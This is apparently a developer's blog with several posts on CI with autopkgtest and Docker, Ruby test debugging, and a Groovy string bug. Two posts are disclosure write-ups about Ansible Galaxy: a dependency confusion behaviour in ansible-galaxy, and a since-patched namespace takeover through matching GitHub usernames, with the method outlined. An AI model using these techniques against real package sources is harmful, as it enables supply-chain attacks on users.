      - run: apt-get update
      - run: apt-get install -y --no-install-recommends lintian
      - run: lintian --info --display-info *.changes

This will run on Ubuntu (latest right now means 22.04 for GitHub), but then use Docker to run the debian:sid container and execute all further steps inside it. Pretty short and straight forward, right?

Now lintian does static analysis of the package, it doesn't need to install it. What if we want to run autopkgtest that performs tests on an actually installed package?

autopkgtest comes with various "virt servers", which are providing isolation of the testbed, so that it does not interfere with the host system. The simplest available virt server, autopkgtest-virt-null doesn't actually provide any isolation, as it runs things directly on the host system. This might seem fine when executed inside an ephemeral container in an CI environment, but it also means that multiple tests have the potential to influence each other as there is no way to revert the testbed to a clean state. For that, there are other, "real", virt servers available: chroot, lxc, qemu, docker and many more. They all have one in common: to use them, one needs to somehow provide an "image" (a prepared chroot, a tarball of a chroot, a vm disk, a container, …, you get it) to operate on and most either bring a tool to create such an "image" or rely on a "registry" (online repository) to provide them.

Most users of autopkgtest on GitHub (that I could find with their terrible search) are using either the null or the lxd virt servers. Probably because these are dead simple to set up (null) or the most "native" (lxd) in the Ubuntu environment.

As I wanted to execute multiple tests that for sure would interfere with each other, the null virt server was out of the discussion pretty quickly.

The lxd one also felt odd, as that meant I'd need to set up lxd (can be done in a few commands, but still) and it would need to download stuff from Canonical, incurring costs (which I couldn't care less about) and taking time which I do care about!).

Enter autopkgtest-virt-docker, which recently was added to autopkgtest! No need to set things up, as GitHub already did all the Docker setup for me, and almost no waiting time to download the containers, as GitHub does heavy caching of stuff coming from Docker Hub (or at least it feels like that).

The only drawback? It was added in autopkgtest 5.23, which Ubuntu 22.04 doesn't have. "We need to go deeper" and run autopkgtest from a sid container!

With this idea, our current job definition would look like this:

    runs-on: ubuntu-latest
    container: debian:sid
      - [ do something to get a package to run autopkgtest on ]
      - run: apt-get update
      - run: apt-get install -y --no-install-recommends autopkgtest autodep8 docker.io
      - run: autopkgtest *.changes --setup-commands="apt-get update" -- docker debian:sid

(--setup-commands="apt-get update" is needed as the container comes with an empty apt cache and wouldn't be able to find dependencies of the tested package)

However, this will fail:

# autopkgtest *.changes --setup-commands="apt-get update" -- docker debian:sid
autopkgtest [10:20:54]: starting date and time: 2023-04-07 10:20:54+0000
autopkgtest [10:20:54]: version 5.28
autopkgtest [10:20:54]: host a82a11789c0d; command line:
  /usr/bin/autopkgtest bley_2.0.0-1_amd64.changes '--setup-commands=apt-get update' -- docker debian:sid
Unexpected error:
Traceback (most recent call last):
  File "/usr/share/autopkgtest/lib/VirtSubproc.py", line 829, in mainloop
  File "/usr/share/autopkgtest/lib/VirtSubproc.py", line 758, in command
    r = f(c, ce)
  File "/usr/share/autopkgtest/lib/VirtSubproc.py", line 692, in cmd_copydown
    copyupdown(c, ce, False)
  File "/usr/share/autopkgtest/lib/VirtSubproc.py", line 580, in copyupdown
    copyupdown_internal(ce[0], c[1:], upp)
  File "/usr/share/autopkgtest/lib/VirtSubproc.py", line 607, in copyupdown_internal
    copydown_shareddir(sd[0], sd[1], dirsp, downtmp_host)
  File "/usr/share/autopkgtest/lib/VirtSubproc.py", line 562, in copydown_shareddir
    shutil.copy(host, host_tmp)
  File "/usr/lib/python3.11/shutil.py", line 419, in copy
    copyfile(src, dst, follow_symlinks=follow_symlinks)
  File "/usr/lib/python3.11/shutil.py", line 258, in copyfile
    with open(dst, 'wb') as fdst:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/autopkgtest-virt-docker.shared.kn7n9ioe/downtmp/wrapper.sh'
autopkgtest [10:21:07]: ERROR: testbed failure: unexpected eof from the testbed

Running the same thing locally of course works, so there has to be something special about the setup at GitHub. But what?!

A bit of digging revealed that autopkgtest-virt-docker tries to use a shared directory (using Dockers --volume) to exchange things with the testbed (for the downtmp-host capability). As my autopkgtest is running inside a container itself, nothing it tells the Docker deamon to mount will be actually visible to it.

In retrospect this makes total sense and autopkgtest-virt-docker has a switch to "fix" the issue: --remote as the Docker deamon is technically remote when viewed from the place autopkgtest runs at.

I'd argue this is not a bug in autopkgtest(-virt-docker), as the situation is actually cared for. There is even some auto-detection of "remote" daemons in the code, but that doesn't "know" how to detect the case where the daemon socket is mounted (vs being set as an environment variable). I've opened an MR (assume remote docker when running inside docker) which should detect the case of running inside a Docker container which kind of implies the daemon is remote.

Not sure the patch will be accepted (it is a band-aid after all), but in the meantime I am quite happy with using --remote and so could you ;-)

The Mocking will continue, until CI improves

One might think, this blog is exclusively about weird language behavior and yelling at computers… Well, welcome to another episode of Jackass!

Today's opponent is Ruby, or maybe minitest , or maybe Mocha. I'm not exactly sure, but it was a rather amusing exercise and I like to share my nightmares ;)

It all started with the classical "you're using old and unmaintained software, please switch to something new".

The first attempt was to switch from the ci_reporter_minitest plugin to the minitest-ci plugin. While the change worked great for Foreman itself, it broke the reporting in Katello - the tests would run but no junit.xml was generated and Jenkins rightfully complained that it got no test results.

While investigating what the hell was wrong, we realized that Katello was already using a minitest reporting plugin: minitest-reporters. Loading two different reporting plugins seemed like a good source for problems, so I tried using the same plugin for Foreman too.

Guess what? After a bit of massaging (mostly to disable the second minitest-reporters initialization in Katello) reporting of test results from Katello started to work like a charm. But now the Foreman tests started to fail. Not fail to report, fail to actually run. WTH‽

The failure was quite interesting too:

test/unit/parameter_filter_test.rb:5:in `block in <class:ParameterFilterTest>':
  Mocha methods cannot be used outside the context of a test (Mocha::NotInitializedError)

Yes, this is a single test file failing, all others were fine.

The failing code doesn't look problematic on first glance:

require 'test_helper'

class ParameterFilterTest < ActiveSupport::TestCase
  let(:klass) do
    mock('Example').tap do |k|

  test 'something' do

The failing line (5) is mock('Example').tap … and for some reason Mocha thinks it's not initialized here.

This certainly has something to do with how the various reporting plugins inject themselves, but I really didn't want to debug how to run two reporting plugins in parallel (which, as you remember, didn't expose this behavior). So the only real path forward was to debug what's happening here.

Calling the test on its own, with one of the working reporter was the first step:

$ bundle exec rake test TEST=test/unit/parameter_filter_test.rb TESTOPTS=-v

#<Mocha::Mock:0x0000557bf1f22e30>#test_0001_permits plugin-added attribute = 0.04 s = .
#<Mocha::Mock:0x0000557bf12cf750>#test_0002_permits plugin-added attributes from blocks = 0.49 s = .

Wait, what? #<Mocha::Mock:…>? Shouldn't this read more like ParameterFilterTest::… as it happens for every single other test in our test suite? It definitely should! That's actually great, as it tells us that there is really something wrong with the test and the change of the reporting plugin just makes it worse.

What comes next is sheer luck. Well, that, and years of experience in yelling at computers.

We use let(:klass) to define an object called klass and this object is a Mocha::Mock that we'll use in our tests later. Now klass is a very common term in Ruby when talking about classes and needing to store them — mostly because one can't use class which is a keyword. Is something else in the stack using klass and our let is overriding that, making this whole thing explode?

It was! The moment we replaced klass with klass1 (silly, I know, but there also was a klass2 in that code, so it did fit), things started to work nicely.

I really liked Tomer's comment in the PR: "no idea why, but I am not going to dig into mocha to figure that out."

Turns out, I couldn't let (HAH!) the code rest and really wanted to understand what happened there.

What I didn't want to do is to debug the whole Foreman test stack, because it is massive.

So I started to write a minimal reproducer for the issue.

All starts with a Gemfile, as we need a few dependencies:

gem 'rake'
gem 'mocha'
gem 'minitest', '~> 5.1', '< 5.11'

Then a Rakefile:

require 'rake/testtask'

Rake::TestTask.new(:test) do |t|
  t.libs << 'test'
  t.test_files = FileList["test/**/*_test.rb"]

task :default => :test

And a test! I took the liberty to replace ActiveSupport::TestCase with Minitest::Test, as the test won't be using any Rails features and I wanted to keep my environment minimal.

require 'minitest/autorun'
require 'minitest/spec'
require 'mocha/minitest'

class ParameterFilterTest < Minitest::Test
  extend Minitest::Spec::DSL

  let(:klass) do
    mock('Example').tap do |k|

  def test_lol
    assert klass

Well, damn, this passed! Is it Rails after all that breaks stuff? Let's add it to the Gemfile!

$ vim Gemfile
$ bundle install
$ bundle exec rake test TESTOPTS=-v

#<Mocha::Mock:0x0000564bbfe17e98>#test_lol = 0.00 s = .

Wait, I didn't change anything and it's already failing?! Fuck! I mean, cool!

But the test isn't minimal yet. What can we reduce? let is just a fancy, lazy def, right? So instead of let(:klass) we should be able to write def klass and achieve a similar outcome and drop that Minitest::Spec.

require 'minitest/autorun'
require 'mocha/minitest'

class ParameterFilterTest < Minitest::Test
  def klass

  def test_lol
    assert klass
$ bundle exec rake test TESTOPTS=-v

/home/evgeni/Devel/minitest-wtf/test/parameter_filter_test.rb:5:in `klass': Mocha methods cannot be used outside the context of a test (Mocha::NotInitializedError)
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/railties- `format_line'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/railties- `record'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:682:in `block in record'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:681:in `each'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:681:in `record'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:324:in `run_one_method'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:311:in `block (2 levels) in run'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:310:in `each'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:310:in `block in run'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:350:in `on_signal'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:337:in `with_info_handler'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:309:in `run'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:159:in `block in __run'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:159:in `map'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:159:in `__run'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:136:in `run'
    from /home/evgeni/Devel/minitest-wtf/vendor/bundle/ruby/3.0.0/gems/minitest-5.10.3/lib/minitest.rb:63:in `block in autorun'
rake aborted!

Oh nice, this is even better! Instead of the mangled class name, we now get the very same error the Foreman tests aborted with, plus a nice stack trace! But wait, why is it pointing at railties? We're not loading that! Anyways, lets look at railties-, line 68

def format_line(result)
  klass = result.respond_to?(:klass) ? result.klass : result.class
  "%s#%s = %.2f s = %s" % [klass, result.name, result.time, result.result_code]

Heh, this is touching result.klass, which we just messed up. Nice!

But quickly back to railties… What if we only add that to the Gemfile, not full blown Rails?

gem 'railties'
gem 'rake'
gem 'mocha'
gem 'minitest', '~> 5.1', '< 5.11'

Yepp, same failure. Also happens with require => false added to the line, so it seems railties somehow injects itself into rake even if nothing is using it?! "Cool"!

By the way, why are we still pinning minitest to < 5.11? Oh right, this was the original reason to look into that whole topic. And, uh, it's pointing at klass there already! 4 years ago!

So lets remove that boundary and funny enough, now tests are passing again, even if we use klass!

Minitest 5.11 changed how Minitest::Test is structured, and seems not to rely on klass at that point anymore. And I guess Rails also changed a bit since the original pin was put in place four years ago.

I didn't want to go another rabbit hole, finding out what changed in Rails, but I did try with 5.0 (well, to be precise, and the output with newer (>= 5.11) Minitest was interesting:

$ bundle exec rake test TESTOPTS=-v

Minitest::Result#test_lol = 0.00 s = .

It's leaking Minitest::Result as klass now, instead of Mocha::Mock. So probably something along these lines was broken 4 years ago and triggered this pin.

What do we learn from that?

  • klass is cursed and shouldn't be used in places where inheritance and tooling might decide to use it for some reason
  • inheritance is cursed - why the heck are implementation details of Minitest leaking inside my tests?!
  • tooling is cursed - why is railties injecting stuff when I didn't ask it to?!
  • dependency pinning is cursed - at least if you pin to avoid an issue and then forget about said issue for four years
  • I like cursed things!

Dependency confusion in the Ansible Galaxy CLI

I hope you enjoyed my last post about Ansible Galaxy Namespaces. In there I noted that I originally looked for something completely different and the namespace takeover was rather accidental.

Well, originally I was looking at how the different Ansible content hosting services and their client (ansible-galaxy) behave in regard to clashes in naming of the hosted content.

"Ansible content hosting services"?! There are currently three main ways for users to obtain Ansible content:

  • Ansible Galaxy - the original, community oriented, free hosting platform
  • Automation Hub - the place for Red Hat certified and supported content, available only with a Red Hat subscription, hosted by Red Hat
  • Ansible Automation Platform - the on-premise version of Automation Hub, syncs content from there and allows customers to upload own content

Now the question I was curious about was: how would the tooling behave if different sources would offer identically named content?

This was inspired by Alex Birsan: Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies and zofrex: Bundler is Still Vulnerable to Dependency Confusion Attacks (CVE⁠-⁠2020⁠-⁠36327), who showed that the tooling for Python, Node.js and Ruby can be tricked into fetching content from "the wrong source", thus allowing an attacker to inject malicious code into a deployment.

For the rest of this article, it's not important that there are different implementations of the hosting services, only that users can configure and use multiple sources at the same time.

The problem is that, if the user configures their server_list to contain multiple Galaxy-compatible servers, like Ansible Galaxy and Automation Hub, and then asks to install a collection, the Ansible Galaxy CLI will ask every server in the list, until one returns a successful result. The exact order seems to differ between versions, but this doesn't really matter for the issue at hand.

Imagine someone wants to install the redhat.satellite collection from Automation Hub (using ansible-galaxy collection install redhat.satellite). Now if their configuration defines Galaxy as the first, and Automation Hub as the second server, Galaxy is always asked whether it has redhat.satellite and only if the answer is negative, Automation Hub is asked. Today there is no redhat namespace on Galaxy, but there is a redhat user on GitHub, so…

The canonical answer to this issue is to use a requirements.yml file and setting the source parameter. This parameter allows you to express "regardless which sources are configured, please fetch this collection from here". That's is nice, but I think this not being the default syntax (contrary to what e.g. Bundler does) is a bad approach. Users might overlook the security implications, as the shorter syntax without the source just "magically" works.

However, I think this is not even the main problem here. The documentation says: Once a collection is found, any of its requirements are only searched within the same Galaxy instance as the parent collection. The install process will not search for a collection requirement in a different Galaxy instance. But as it turns out, the source behavior was changed and now only applies to the exact collection it is set for, not for any dependencies this collection might have.

For the sake of the example, imagine two collections: evgeni.test1 and evgeni.test2, where test2 declares a dependency on test1 in its galaxy.yml. Actually, no need to imagine, both collections are available in version 1.0.0 from galaxy.ansible.com and test1 version 2.0.0 is available from galaxy-dev.ansible.com.

Now, given our recent reading of the docs, we craft the following requirements.yml:

- name: evgeni.test2
  version: '*'
  source: https://galaxy.ansible.com

In a perfect world, following the documentation, this would mean that both collections are fetched from galaxy.ansible.com, right? However, this is not what ansible-galaxy does. It will fetch evgeni.test2 from the specified source, determine it has a dependency on evgeni.test1 and fetch that from the "first" available source from the configuration.

Take for example the following ansible.cfg:

server_list = test_galaxy, release_galaxy, test_galaxy



And try to install collections, using the above requirements.yml:

% ansible-galaxy collection install -r requirements.yml -vvv                 
ansible-galaxy 2.9.27
  config file = /home/evgeni/Devel/ansible-wtf/collections/ansible.cfg
  configured module search path = ['/home/evgeni/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
  ansible python module location = /usr/lib/python3.10/site-packages/ansible
  executable location = /usr/bin/ansible-galaxy
  python version = 3.10.0 (default, Oct  4 2021, 00:00:00) [GCC 11.2.1 20210728 (Red Hat 11.2.1-1)]
Using /home/evgeni/Devel/ansible-wtf/collections/ansible.cfg as config file
Reading requirement file at '/home/evgeni/Devel/ansible-wtf/collections/requirements.yml'
Found installed collection theforeman.foreman:3.0.0 at '/home/evgeni/.ansible/collections/ansible_collections/theforeman/foreman'
Process install dependency map
Processing requirement collection 'evgeni.test2'
Collection 'evgeni.test2' obtained from server explicit_requirement_evgeni.test2 https://galaxy.ansible.com/api/
Opened /home/evgeni/.ansible/galaxy_token
Processing requirement collection 'evgeni.test1' - as dependency of evgeni.test2
Collection 'evgeni.test1' obtained from server test_galaxy https://galaxy-dev.ansible.com/api
Starting collection install process
Installing 'evgeni.test2:1.0.0' to '/home/evgeni/.ansible/collections/ansible_collections/evgeni/test2'
Downloading https://galaxy.ansible.com/download/evgeni-test2-1.0.0.tar.gz to /home/evgeni/.ansible/tmp/ansible-local-133/tmp9uqyjgki
Installing 'evgeni.test1:2.0.0' to '/home/evgeni/.ansible/collections/ansible_collections/evgeni/test1'
Downloading https://galaxy-dev.ansible.com/download/evgeni-test1-2.0.0.tar.gz to /home/evgeni/.ansible/tmp/ansible-local-133/tmp9uqyjgki

As you can see, evgeni.test1 is fetched from galaxy-dev.ansible.com, instead of galaxy.ansible.com. Now, if those servers instead would be Galaxy and Automation Hub, and somebody managed to snag the redhat namespace on Galaxy, I would be now getting the wrong stuff… Another problematic setup would be with Galaxy and on-prem Ansible Automation Platform, as you can have any namespace on the later and these most certainly can clash with namespaces on public Galaxy.

I have reported this behavior to Ansible Security on 2021-08-26, giving a 90 days disclosure deadline, which expired on 2021-11-24.

So far, the response was that this is working as designed, to allow cross-source dependencies (e.g. a private collection referring to one on Galaxy) and there is an issue to update the docs to match the code. If users want to explicitly pin sources, they are supposed to name all dependencies and their sources in requirements.yml. Alternatively they obviously can configure only one source in the configuration and always mirror all dependencies.

I am not happy with this and I think this is terrible UX, explicitly inviting people to make mistakes.

Getting access to somebody else's Ansible Galaxy namespace

TL;DR: adding features after the fact is hard, normalizing names is hard, it's patched, carry on.

I promise, the longer version is more interesting and fun to read!

Recently, I was poking around Ansible Galaxy and almost accidentally got access to someone else's namespace. I was actually looking for something completely different, but accidental finds are the best ones!

If you're asking yourself: "what the heck is he talking about?!", let's slow down for a moment:

  • Ansible is a great automation engine built around the concept of modules that do things (mostly written in Python) and playbooks (mostly written in YAML) that tell which things to do
  • Ansible Galaxy is a place where people can share their playbooks and modules for others to reuse
  • Galaxy Namespaces are a way to allow users to distinguish who published what and reduce name clashes to a minimum

That means that if I ever want to share how to automate installing vim, I can publish evgeni.vim on Galaxy and other people can download that and use it. And if my evil twin wants their vim recipe published, it will end up being called evilme.vim. Thus while both recipes are called vim they can coexist, can be downloaded to the same machine, and used independently.

How do you get a namespace? It's automatically created for you when you login for the first time. After that you can manage it, you can upload content, allow others to upload content and other things. You can also request additional namespaces, this is useful if you want one for an Organization or similar entities, which don't have a login for Galaxy.

Apropos login, Galaxy uses GitHub for authentication, so you don't have to store yet another password, just smash that octocat!

Did anyone actually click on those links above? If you did (you didn't, right?), you might have noticed another section in that document: Namespace Limitations. That says:

Namespace names in Galaxy are limited to lowercase word characters (i.e., a-z, 0-9) and ‘_’, must have a minimum length of 2 characters, and cannot start with an ‘_’. No other characters are allowed, including ‘.’, ‘-‘, and space. The first time you log into Galaxy, the server will create a Namespace for you, if one does not already exist, by converting your username to lowercase, and replacing any ‘-‘ characters with ‘_’.

For my login evgeni this is pretty boring, as the generated namespace is also evgeni. But for the GitHub user Evil-Pwnwil-666 it will become evil_pwnwil_666. This can be a bit confusing.

Another confusing thing is that Galaxy supports two types of content: roles and collections, but namespaces are only for collections! So it is Evil-Pwnwil-666.vim if it's a role, but evil_pwnwil_666.vim if it's a collection.

I think part of this split is because collections were added much later and have a much more well thought design of both the artifact itself and its delivery mechanisms.

This is by the way very important for us! Due to the fact that collections (and namespaces!) were added later, there must be code that ensures that users who were created before also get a namespace.

Galaxy does this (and I would have done it the same way) by hooking into the login process, and after the user is logged in it checks if a Namespace exists and if not it creates one and sets proper permissions.

And this is also exactly where the issue was!

The old code looked like this:

    # Create lowercase namespace if case insensitive search does not find match
    qs = models.Namespace.objects.filter(
    if qs.exists():
        namespace = qs[0]
        namespace = models.Namespace.objects.create(**ns_defaults)


See how namespace.owners.add is always called? Even if the namespace already existed? Yepp!

But how can we exploit that? Any user either already has a namespace (and owns it) or doesn't have one that could be owned. And given users are tied to GitHub accounts, there is no way to confuse Galaxy here. Now, remember how I said one could request additional namespaces, for organizations and stuff? Those will have owners, but the namespace name might not correspond to an existing user!

So all we need is to find an existing Galaxy namespace that is not a "default" namespace (aka a specially requested one) and get a GitHub account that (after the funny name conversion) matches the namespace name.

Thankfully Galaxy has an API, so I could dump all existing namespaces and their owners. Next I filtered that list to have only namespaces where the owner list doesn't contain a username that would (after conversion) match the namespace name. I found a few. And for one of them (let's call it the_target), the corresponding GitHub username (the-target) was available! Jackpot!

I've registered a new GitHub account with that name, logged in to Galaxy and had access to the previously found namespace.

This felt like sufficient proof that my attack worked and I mailed my findings to the Ansible Security team. The issue was fixed in d4f84d3400f887a26a9032687a06dd263029bde3 by moving the namespace.owners.add call to the "new namespace" branch.

And this concludes the story of how I accidentally got access to someone else's Galaxy namespace (which was revoked after the report, no worries).

A String is not a String, and that's Groovy!

Halloween is over, but I still have some nightmares to share with you, so sit down, take some hot chocolate and enjoy :)

When working with Jenkins, there is almost no way to avoid writing Groovy. Well, unless you only do old style jobs with shell scripts, but y'all know what I think about shell scripts…

Anyways, Eric have been rewriting the jobs responsible for building Debian packages for Foreman to pipelines (and thus Groovy).

Our build process for pull requests is rather simple:

  1. Setup sources - get the orig tarball and adjust changelog to have an unique version for pull requests
  2. Call pbuilder
  3. Upload the built package to a staging archive for testing

For merges, it's identical, minus the changelog adjustment.

And if there are multiple packages changed in one go, it runs each step in parallel for each package.

Now I've been doing mass changes to our plugin packages, to move them to a shared postinst helper instead of having the same code over and over in every package. This required changes to many packages and sometimes I'd end up building multiple at once. That should be fine, right?

Well, yeah, it did build fine, but the upload only happened for the last package. This felt super weird, especially as I was absolutely sure we did test this scenario (multiple packages in one PR) and it worked just fine…

So I went on a ride though the internals of the job, trying to understand why it didn't work.

This requires a tad more information about the way we handle packages for Foreman:

  • the archive is handled by freight
  • it has suites like buster, focal and plugins (that one is a tad special)
  • each suite has components that match Foreman releases, so 2.5, 3.0, 3.1, nightly etc
  • core packages (Foreman etc) are built for all supported distributions (right now: buster and focal)
  • plugin packages are built only once and can be used on every distribution

As generating the package index isn't exactly fast in freight, we tried not not run it too often. The idea was that when we build two packages for the same target (suite/version combination), we upload both at once and run import only once for both. That means that when we build Foreman for buster and focal, this results in two parallel builds and then two parallel uploads (as they end up in different suites). But if we build Foreman and Foreman Installer, we have four parallel builds, but only two parallel uploads, as we can batch upload Foreman and Installer per suite. Well, or so was the theory.

The Groovy code, that was supposed to do this looked roughly like this:

def packages_to_build = find_changed_packages()
def repos = [:]

packages_to_build.each { pkg ->
    suite = 'buster'
    component = '3.0'
    target = "${suite}-${component}"

    if (!repos.containsKey(target)) {
        repos[target] = []



That's pretty straight forward, no? We create an empty Map, loop over a list of packages and add them to an entry in the map which we pre-create as empty if it doesn't exist.

Well, no, the resulting map always ended with only having one element in each target list. And this is also why our original tests always worked: we tested with a PR containing changes to Foreman and a plugin, and plugins go to this special target we have…

So I started playing with the code (https://groovyide.com/playground is really great for that!), trying to understand why the heck it erases previous data.

The first finding was that it just always ended up jumping into the "if map entry not found" branch, even though the map very clearly had the correct entry after the first package was added.

The second one was weird. I was trying to minimize the reproducer code (IMHO always a good idea) and switched target = "${suite}-${component}" to target = "lol". Two entries in the list, only one jump into the "map entry not found" branch. What?! 🧐

So this is clearly related to the fact that we're using String interpolation here. But hey, that's a totally normal thing to do, isn't it?!

Admittedly, at this point, I was lost. I knew what breaks, but not why.

Luckily, I knew exactly who to ask: Jens.

After a brief "well, that's interesting", Jens quickly found the source of our griefs: Double-quoted strings are plain java.lang.String if there’s no interpolated expression, but are groovy.lang.GString instances if interpolation is present.. And when we do repos[target] the GString target gets converted to a String, but when we use repos.containsKey() it remains a GString. This is because GStrings get converted to Strings, if the method wants one, but containsKey takes any Object while the repos[target] notation for some reason converts it. Maybe this is because using GString as Map keys should be avoided.

We can reproduce this with simpler code:

def map = [:]
def something = "something"
def key = "${something}"
map[key] = 1
println key.getClass()
map.keySet().each {println it.getClass() }
map.keySet().each {println it.equals(key)}
map.keySet().each {println it.equals(key as String)}

Which results in the following output:

class org.codehaus.groovy.runtime.GStringImpl
class java.lang.String

With that knowledge, the fix was to just use the same repos[target] notation also for checking for existence — Groovy helpfully returns null which is false-y when it can't find an entry in a Map absent.

So yeah, a String is not always a String, and it'll bite you!